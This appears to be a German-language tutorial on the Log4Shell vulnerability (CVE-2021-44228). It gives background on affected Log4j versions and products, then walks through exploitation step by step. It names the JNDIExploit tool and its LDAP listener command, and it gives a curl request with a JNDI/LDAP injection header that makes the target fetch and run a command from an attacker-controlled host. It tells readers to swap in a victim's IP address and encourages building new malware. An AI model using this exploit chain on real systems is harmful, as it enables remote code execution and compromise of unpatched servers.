

Eine Remote-Code-Execution-Schwachstelle wurde in der Java-Logging-Bibliothek Log4j gefunden.
CVE-2021-44228 Diese Schwachstelle hat in der globalen Cyber-Community für Aufsehen gesorgt, seit Wannacry hatten wir keine solche Auswirkung gesehen.
Die meisten in Java geschriebenen Apps gelten als betroffen und verwundbar, insbesondere Apache-Frameworks wie Apache Struts2, Apache Solr, Apache Druid und Apache Flink. Darüber hinaus sind auch ElasticSearch, Flume, Logstash, Kafka, Netty, MyBatis und Spring-Boot-starter-log4j verwundbar. Einige der beliebtesten Produkte und Dienste im Internet – darunter Apple iCloud, Amazon, Steam und Twitter – sind auf diese Frameworks angewiesen, um zu funktionieren. Es wird angenommen, dass dazu auch eine beträchtliche Anzahl von Unternehmens- und Cybersicherheitsanwendungen gehört.
Radware (Continuously adaptive real-time DDoS services) sagte, dass nur Software betroffen ist, die die Log4j-Lookup-Substitution von Nachrichten aktiviert und nutzt. Ab Version 2.15.0 ist die Substitution von Nachrichten-Lookups standardmäßig deaktiviert, weshalb das Patchen notwendig ist. Log4j 2 Versionen von 2.0-beta9 bis 2.14.1 sind alle verwundbar und ausnutzbar.


Zuallererst: Diese Anleitung ist kompatibel mit der Kali-Linux-VM. Führe den Java-Listener im nächsten Befehl aus, wie auf der linken Seite der Video-Anleitung. Beginne damit, die Docker-Schwachstellen-Anwendung zu bauen und führe sie dann aus. Also lass uns das tun.
docker build . -t vulnerable-appDer nächste Schritt ist eigentlich, die vulnerable-app auszuführen, die bereitgestellt wurde.
*Also, der nächste Befehl:
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
Und jetzt sollte das Spring-Skript ausgeführt werden, wie in der Video-Anleitung.
Um jetzt den Fingerprint für den LDAP-Server zu erhalten, müssen wir nur den LDAP-Link erstellen und fertig. Lade zuerst das Exploit-Tool JNDIExploit-1.2 herunter. Die URL zum Herunterladen von JNDIExploit wurde von GitHub gelöscht; lade es aus dem Archiv herunter (URL unten). Hole die nächste URL zum Herunterladen aus dem Archiv: JNDIExploitArchiveUrl
Also, lass uns das tun.
Entpacke JNDIExploit.
Führe den Java-Listener aus: java -jar JNDIExploit.v1.2-SNAPSHOT.jar -i "ersetze_mit_deiner_eigenen_IP-ADDR" -p 8888.
Hinweis: Lösche "ersetze_mit_deiner IP-addr" und gib deine Listener-IP ein. (Ohne Klammern).
Der nächste Schritt, um den Exploit auszulösen, führe den nächsten Befehl aus:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://"ip-addr":1389/Basic/Command/Base64/aGVsbG8td29ybGQ=}'
Hinweis: Ersetze die "ip-addr" durch deine lokale IP, die über Java lauscht. Und ersetze auch die 127.0.0.1 durch die IP-Adresse des Opfers. Und das ist das Ende; du wirst die Zeichenkette hello-world über base64 erhalten. So kannst du jede Manipulation durchführen. Entdecke weitere Techniken zur Nutzung, Minecraft, Manipulation über das Burp-Suite-Tool für offene Dienste auf dem Computer usw. Stell dir das vor – komm in den Produktivmodus und steigere deine Improvisation, stelle die nächste Malware zusammen.
Du kannst die base64-Zeichenkette (hello-world) durch die Ausführung von JS-Code ersetzen, der kompatibel ist, um Abfragen über den LDAP-Server auszuführen.